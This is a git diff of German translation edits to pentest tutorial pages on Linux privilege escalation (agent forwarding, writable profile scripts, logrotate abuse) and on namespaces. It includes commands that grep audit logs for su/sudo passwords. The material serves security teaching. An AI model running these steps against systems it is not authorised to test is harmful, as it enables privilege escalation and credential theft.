@@ -1151,17 +1151,17 @@ Diese Konfiguration zeigt an, dass, wenn Sie versuchen, sich mit dem **privaten*
### ForwardAgent/AllowAgentForwarding
-SSH-Agent-Weiterleitung ermöglicht es Ihnen, **Ihre lokalen SSH-Schlüssel zu verwenden, anstatt Schlüssel** (ohne Passphrasen!) auf Ihrem Server zu belassen. So können Sie **via ssh zu einem Host springen** und von dort **zu einem anderen** Host **springen, indem Sie** den **Schlüssel** verwenden, der sich auf Ihrem **ursprünglichen Host** befindet.
+SSH-Agent-Weiterleitung ermöglicht es Ihnen, **Ihre lokalen SSH-Schlüssel zu verwenden, anstatt Schlüssel** (ohne Passwörter!) auf Ihrem Server zu belassen. So können Sie **via ssh zu einem Host springen** und von dort **zu einem anderen** Host **springen, indem Sie** den **Schlüssel** verwenden, der sich auf Ihrem **ursprünglichen Host** befindet.
Sie müssen diese Option in `$HOME/.ssh.config` wie folgt festlegen:
```
Host example.com
ForwardAgent yes
```
-Beachten Sie, dass wenn `Host` `*` ist, der Benutzer jedes Mal, wenn er zu einer anderen Maschine wechselt, auf die Schlüssel zugreifen kann (was ein Sicherheitsproblem darstellt).
+Beachten Sie, dass wenn `Host` `*` ist, jedes Mal, wenn der Benutzer zu einer anderen Maschine wechselt, dieser Host Zugriff auf die Schlüssel haben wird (was ein Sicherheitsproblem darstellt).
Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verweigern.\
-Die Datei `/etc/sshd_config` kann das Weiterleiten des ssh-agent mit dem Schlüsselwort `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist erlauben).
+Die Datei `/etc/sshd_config` kann das Weiterleiten des ssh-agents mit dem Schlüsselwort `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist erlauben).
Wenn Sie feststellen, dass der Forward Agent in einer Umgebung konfiguriert ist, lesen Sie die folgende Seite, da **Sie möglicherweise in der Lage sind, dies auszunutzen, um Privilegien zu eskalieren**:
@@ -1173,11 +1173,11 @@ ssh-forward-agent-exploitation.md
### Profil-Dateien
-Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher können Sie, wenn Sie **eine von ihnen schreiben oder ändern können, Privilegien eskalieren**.
+Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn Sie **eine von ihnen schreiben oder ändern können, können Sie Privilegien eskalieren**.
```bash
ls -l /etc/profile /etc/profile.d/
```
-Wenn ein seltsames Profilskript gefunden wird, sollten Sie es auf **sensible Details** überprüfen.
+Wenn ein seltsames Profil-Skript gefunden wird, sollten Sie es auf **sensible Details** überprüfen.
### Passwd/Shadow-Dateien
@@ -1292,7 +1292,7 @@ Lesen Sie den Code von [**linPEAS**](https://github.com/carlospolop/privilege-es
### Protokolle
Wenn Sie Protokolle lesen können, könnten Sie **interessante/vertrauliche Informationen darin finden**. Je seltsamer das Protokoll ist, desto interessanter wird es sein (wahrscheinlich).\
-Außerdem könnten einige "**schlecht**" konfigurierten (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@@ -1312,7 +1312,7 @@ Um **Protokolle zu lesen, wird die Gruppe** [**adm**](interesting-groups-linux-p
```
### Generic Creds Search/Regex
-Sie sollten auch nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und auch nach IPs und E-Mails in Protokollen oder Hashes Regexps suchen.\
+Sie sollten auch nach Dateien suchen, die das Wort "**password**" in ihrem **Namen** oder im **Inhalt** enthalten, und auch nach IPs und E-Mails in Protokollen oder Hashes Regexps suchen.\
Ich werde hier nicht auflisten, wie man all dies macht, aber wenn Sie interessiert sind, können Sie die letzten Überprüfungen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) durchführt, überprüfen.
## Writable files
@@ -1336,7 +1336,7 @@ Detailliertere Informationen über die Schwachstelle finden Sie auf dieser Seite
Sie können diese Schwachstelle mit [**logrotten**](https://github.com/whotwagner/logrotten) ausnutzen.
-Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-Logs),** daher sollten Sie immer, wenn Sie feststellen, dass Sie Protokolle ändern können, überprüfen, wer diese Protokolle verwaltet, und prüfen, ob Sie die Berechtigungen erhöhen können, indem Sie die Protokolle durch Symlinks ersetzen.
+Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-Logs),** also überprüfen Sie immer, ob Sie Protokolle ändern können, wer diese Protokolle verwaltet und ob Sie die Berechtigungen erhöhen können, indem Sie die Protokolle durch Symlinks ersetzen.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
@@ -1360,7 +1360,7 @@ Das Verzeichnis `/etc/init.d` ist die Heimat von **Skripten** für System V init
Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
-**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungssystem auf und bietet fortschrittliche Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
+**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungssystem auf und bietet fortschrittliche Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Systemverwaltungsprozess optimiert.
## Weitere Tricks
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index d651f7cf6..34b385092 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Grundlegende Informationen
+## Grundinformationen
Ein cgroup-Namespace ist eine Funktion des Linux-Kernels, die **Isolation von cgroup-Hierarchien für Prozesse, die innerhalb eines Namespaces ausgeführt werden**, bereitstellt. Cgroups, kurz für **control groups**, sind eine Kernel-Funktion, die es ermöglicht, Prozesse in hierarchischen Gruppen zu organisieren, um **Grenzen für Systemressourcen** wie CPU, Speicher und I/O zu verwalten und durchzusetzen.
@@ -12,7 +12,7 @@ Während cgroup-Namensräume kein separater Namespace-Typ wie die anderen, die w
1. Wenn ein neuer cgroup-Namespace erstellt wird, **beginnt er mit einer Sicht auf die cgroup-Hierarchie, die auf der cgroup des erstellenden Prozesses basiert**. Das bedeutet, dass Prozesse, die im neuen cgroup-Namespace ausgeführt werden, nur einen Teil der gesamten cgroup-Hierarchie sehen, der auf dem cgroup-Teilbaum basiert, der an der cgroup des erstellenden Prozesses verwurzelt ist.
2. Prozesse innerhalb eines cgroup-Namensraums werden **ihre eigene cgroup als Wurzel der Hierarchie sehen**. Das bedeutet, dass aus der Perspektive der Prozesse innerhalb des Namespaces ihre eigene cgroup als Wurzel erscheint und sie cgroups außerhalb ihres eigenen Teilbaums nicht sehen oder darauf zugreifen können.
-3. Cgroup-Namensräume bieten nicht direkt Isolation von Ressourcen; **sie bieten nur Isolation der Sicht auf die cgroup-Hierarchie**. **Ressourcenkontrolle und Isolation werden weiterhin von den cgroup**-Subsystemen (z. B. CPU, Speicher usw.) selbst durchgesetzt.
+3. Cgroup-Namensräume bieten nicht direkt Isolation von Ressourcen; **sie bieten nur Isolation der Sicht auf die cgroup-Hierarchie**. **Die Kontrolle und Isolation von Ressourcen werden weiterhin von den cgroup**-Subsystemen (z. B. CPU, Speicher usw.) selbst durchgesetzt.
Für weitere Informationen über CGroups siehe:
@@ -28,7 +28,7 @@ Für weitere Informationen über CGroups siehe:
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
-Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die für diesen Namespace spezifisch sind**.
+Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die Prozessinformationen hat, die spezifisch für diesen Namespace sind**.
@@ -44,7 +44,7 @@ Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der
2. **Folge**:
-- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, wenn versucht wird, eine neue PID zuzuweisen, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
+- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` bei der Erstellung eines neuen Prozesses fehlschlägt, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
3. **Lösung**:
- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option bewirkt, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
@@ -58,7 +58,7 @@ Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wir
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
+### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index 46b163eba..6f8c01b1c 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -4,7 +4,7 @@
## Grundinformationen
-Ein IPC (Inter-Process Communication) Namespace ist eine Funktion des Linux-Kernels, die **Isolation** von System V IPC-Objekten wie Nachrichtenwarteschlangen, gemeinsamen Speichersegmenten und Semaphoren bietet. Diese Isolation stellt sicher, dass Prozesse in **verschiedenen IPC-Namespaces nicht direkt auf die IPC-Objekte des jeweils anderen zugreifen oder diese ändern können**, was eine zusätzliche Sicherheitsebene und Privatsphäre zwischen Prozessgruppen bietet.
+Ein IPC (Inter-Process Communication) Namespace ist eine Funktion des Linux-Kernels, die **Isolation** von System V IPC-Objekten wie Nachrichtenwarteschlangen, gemeinsam genutzten Speichersegmenten und Semaphoren bietet. Diese Isolation stellt sicher, dass Prozesse in **verschiedenen IPC-Namespaces nicht direkt auf die IPC-Objekte des jeweils anderen zugreifen oder diese ändern können**, was eine zusätzliche Sicherheitsebene und Privatsphäre zwischen Prozessgruppen bietet.
### So funktioniert es:
@@ -20,7 +20,7 @@ Ein IPC (Inter-Process Communication) Namespace ist eine Funktion des Linux-Kern
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
-Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die für diesen Namespace spezifisch sind**.
+Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die Prozessinformationen hat, die spezifisch für diesen Namespace sind**.
@@ -36,11 +36,11 @@ Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der
2. **Folge**:
-- Das Verlassen von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, um eine neue PID zuzuweisen, wenn ein neuer Prozess erstellt wird, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
+- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, wenn versucht wird, eine neue PID zuzuweisen, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
3. **Lösung**:
- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option bewirkt, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
-- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch das vorzeitige Verlassen von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
+- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch das vorzeitige Beenden von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
@@ -50,12 +50,12 @@ Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wir
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
+### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
-### Finde alle IPC-Namensräume
+### Alle IPC-Namensräume finden
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@@ -65,7 +65,7 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | g
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
-Außerdem können Sie **nur in einen anderen Prozess-Namespace eintreten, wenn Sie root sind**. Und Sie **können** **nicht** **in einen anderen Namespace eintreten** **ohne einen Deskriptor**, der darauf verweist (wie `/proc/self/ns/net`).
+Außerdem können Sie nur **in einen anderen Prozess-Namespace eintreten, wenn Sie root sind**. Und Sie **können** **nicht** **in einen anderen Namespace eintreten**, **ohne einen Deskriptor**, der darauf verweist (wie `/proc/self/ns/net`).
### IPC-Objekt erstellen
```bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index 212a03d8b..e72def836 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -4,26 +4,26 @@
## Grundinformationen
-Ein Mount-Namespace ist ein Feature des Linux-Kernels, das die Isolation der Dateisystem-Mountpunkte bietet, die von einer Gruppe von Prozessen gesehen werden. Jeder Mount-Namespace hat sein eigenes Set von Dateisystem-Mountpunkten, und **Änderungen an den Mountpunkten in einem Namespace beeinflussen andere Namespaces nicht**. Das bedeutet, dass Prozesse, die in verschiedenen Mount-Namespaces laufen, unterschiedliche Ansichten der Dateisystemhierarchie haben können.
+Ein Mount-Namespace ist ein Feature des Linux-Kernels, das die Isolation der Dateisystem-Mountpunkte für eine Gruppe von Prozessen bereitstellt. Jeder Mount-Namespace hat sein eigenes Set von Dateisystem-Mountpunkten, und **Änderungen an den Mountpunkten in einem Namespace beeinflussen andere Namespaces nicht**. Das bedeutet, dass Prozesse, die in verschiedenen Mount-Namespaces laufen, unterschiedliche Ansichten der Dateisystemhierarchie haben können.
Mount-Namespaces sind besonders nützlich in der Containerisierung, wo jeder Container sein eigenes Dateisystem und seine eigene Konfiguration haben sollte, isoliert von anderen Containern und dem Host-System.
### So funktioniert es:
-1. Wenn ein neuer Mount-Namespace erstellt wird, wird er mit einer **Kopie der Mountpunkte aus seinem übergeordneten Namespace** initialisiert. Das bedeutet, dass der neue Namespace bei der Erstellung die gleiche Sicht auf das Dateisystem hat wie sein übergeordneter Namespace. Änderungen an den Mountpunkten innerhalb des Namespaces beeinflussen jedoch nicht den übergeordneten Namespace oder andere Namespaces.
+1. Wenn ein neuer Mount-Namespace erstellt wird, wird er mit einer **Kopie der Mountpunkte aus seinem übergeordneten Namespace** initialisiert. Das bedeutet, dass der neue Namespace bei der Erstellung die gleiche Sicht auf das Dateisystem wie sein übergeordneter Namespace hat. Änderungen an den Mountpunkten innerhalb des Namespaces beeinflussen jedoch nicht den übergeordneten Namespace oder andere Namespaces.
2. Wenn ein Prozess einen Mountpunkt innerhalb seines Namespaces ändert, z. B. ein Dateisystem mountet oder unmountet, ist die **Änderung lokal für diesen Namespace** und beeinflusst andere Namespaces nicht. Dies ermöglicht es jedem Namespace, seine eigene unabhängige Dateisystemhierarchie zu haben.
3. Prozesse können zwischen Namespaces mit dem `setns()`-Systemaufruf wechseln oder neue Namespaces mit den Systemaufrufen `unshare()` oder `clone()` mit dem `CLONE_NEWNS`-Flag erstellen. Wenn ein Prozess zu einem neuen Namespace wechselt oder einen erstellt, beginnt er, die mit diesem Namespace verbundenen Mountpunkte zu verwenden.
-4. **Dateideskriptoren und Inodes werden über Namespaces hinweg geteilt**, was bedeutet, dass, wenn ein Prozess in einem Namespace einen offenen Dateideskriptor hat, der auf eine Datei zeigt, er **diesen Dateideskriptor** an einen Prozess in einem anderen Namespace weitergeben kann, und **beide Prozesse auf dieselbe Datei zugreifen**. Der Pfad der Datei kann jedoch in beiden Namespaces unterschiedlich sein, aufgrund von Unterschieden in den Mountpunkten.
+4. **Dateideskriptoren und Inodes werden über Namespaces hinweg geteilt**, was bedeutet, dass, wenn ein Prozess in einem Namespace einen offenen Dateideskriptor hat, der auf eine Datei zeigt, er **diesen Dateideskriptor** an einen Prozess in einem anderen Namespace weitergeben kann, und **beide Prozesse auf die gleiche Datei zugreifen**. Der Pfad der Datei kann jedoch in beiden Namespaces unterschiedlich sein, aufgrund von Unterschieden in den Mountpunkten.
## Labor:
-### Verschiedene Namespaces erstellen
+### Erstellen verschiedener Namespaces
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
-Durch das Einhängen einer neuen Instanz des `/proc` Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die für diesen Namespace spezifisch sind**.
+Durch das Einhängen einer neuen Instanz des `/proc` Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die Prozessinformationen hat, die spezifisch für diesen Namespace sind**.
@@ -33,19 +33,19 @@ Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der
1. **Problemerklärung**:
-- Der Linux-Kernel erlaubt es einem Prozess, neue Namespaces mit dem Systemaufruf `unshare` zu erstellen. Der Prozess, der die Erstellung eines neuen PID-Namespace initiiert (als "unshare"-Prozess bezeichnet), tritt jedoch nicht in den neuen Namespace ein; nur seine Kindprozesse tun dies.
+- Der Linux-Kernel erlaubt es einem Prozess, neue Namespaces mit dem Systemaufruf `unshare` zu erstellen. Der Prozess, der die Erstellung eines neuen PID-Namespace initiiert (als "unshare" Prozess bezeichnet), tritt jedoch nicht in den neuen Namespace ein; nur seine Kindprozesse tun dies.
- Das Ausführen von `%unshare -p /bin/bash%` startet `/bin/bash` im selben Prozess wie `unshare`. Folglich befinden sich `/bin/bash` und seine Kindprozesse im ursprünglichen PID-Namespace.
- Der erste Kindprozess von `/bin/bash` im neuen Namespace wird zu PID 1. Wenn dieser Prozess beendet wird, wird die Bereinigung des Namespaces ausgelöst, wenn keine anderen Prozesse vorhanden sind, da PID 1 die besondere Rolle hat, verwaiste Prozesse zu übernehmen. Der Linux-Kernel deaktiviert dann die PID-Zuweisung in diesem Namespace.
2. **Folge**:
-- Das Verlassen von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, um eine neue PID zuzuweisen, wenn ein neuer Prozess erstellt wird, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
+- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING` Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, um eine neue PID zuzuweisen, wenn ein neuer Prozess erstellt wird, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
3. **Lösung**:
-- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option bewirkt, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
-- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch der vorzeitige Austritt von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
+- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option sorgt dafür, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
+- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare` Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch das vorzeitige Beenden von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
-Indem sichergestellt wird, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
+Durch die Sicherstellung, dass `unshare` mit dem `-f` Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
@@ -53,7 +53,7 @@ Indem sichergestellt wird, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wi
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
+### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 1966f7e94..941850a69 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -11,7 +11,7 @@ Ein Netzwerk-Namespace ist eine Funktion des Linux-Kernels, die die Isolation de
1. Wenn ein neuer Netzwerk-Namespace erstellt wird, beginnt er mit einem **vollständig isolierten Netzwerk-Stack**, mit **keinen Netzwerk-Schnittstellen** außer der Loopback-Schnittstelle (lo). Das bedeutet, dass Prozesse, die im neuen Netzwerk-Namespace ausgeführt werden, standardmäßig nicht mit Prozessen in anderen Namespaces oder dem Host-System kommunizieren können.
2. **Virtuelle Netzwerk-Schnittstellen**, wie veth-Paare, können erstellt und zwischen Netzwerk-Namespaces verschoben werden. Dies ermöglicht die Herstellung einer Netzwerkverbindung zwischen Namespaces oder zwischen einem Namespace und dem Host-System. Zum Beispiel kann ein Ende eines veth-Paares im Netzwerk-Namespace eines Containers platziert werden, und das andere Ende kann mit einem **Bridge** oder einer anderen Netzwerkschnittstelle im Host-Namespace verbunden werden, um dem Container Netzwerkverbindung zu bieten.
3. Netzwerkschnittstellen innerhalb eines Namespace können ihre **eigenen IP-Adressen, Routing-Tabellen und Firewall-Regeln** haben, unabhängig von anderen Namespaces. Dies ermöglicht es Prozessen in verschiedenen Netzwerk-Namespaces, unterschiedliche Netzwerkkonfigurationen zu haben und so zu arbeiten, als ob sie auf separaten vernetzten Systemen ausgeführt werden.
-4. Prozesse können zwischen Namespaces mit dem `setns()` Systemaufruf wechseln oder neue Namespaces mit den Systemaufrufen `unshare()` oder `clone()` mit dem `CLONE_NEWNET`-Flag erstellen. Wenn ein Prozess in einen neuen Namespace wechselt oder einen erstellt, beginnt er, die Netzwerkkonfiguration und Schnittstellen zu verwenden, die mit diesem Namespace verbunden sind.
+4. Prozesse können zwischen Namespaces mit dem `setns()`-Systemaufruf wechseln oder neue Namespaces mit den Systemaufrufen `unshare()` oder `clone()` mit dem `CLONE_NEWNET`-Flag erstellen. Wenn ein Prozess in einen neuen Namespace wechselt oder einen erstellt, beginnt er, die Netzwerkkonfiguration und Schnittstellen zu verwenden, die mit diesem Namespace verbunden sind.
## Labor:
@@ -22,7 +22,7 @@ Ein Netzwerk-Namespace ist eine Funktion des Linux-Kernels, die die Isolation de
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
-Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die für diesen Namespace spezifisch sind**.
+Durch das Einhängen einer neuen Instanz des `/proc` Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die zu diesem Namespace gehören**.
@@ -38,11 +38,11 @@ Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der
2. **Folge**:
-- Das Verlassen von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, um eine neue PID zuzuweisen, wenn ein neuer Prozess erstellt wird, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
+- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, wenn versucht wird, eine neue PID zuzuweisen, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
3. **Lösung**:
-- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option bewirkt, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
-- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch der vorzeitige Austritt von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
+- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option sorgt dafür, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
+- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch das vorzeitige Beenden von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
Indem sichergestellt wird, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
@@ -53,12 +53,12 @@ Indem sichergestellt wird, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wi
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
-### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
+### Überprüfen, in welchem Namespace sich Ihr Prozess befindet
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
-### Alle Netzwerk-Namensräume finden
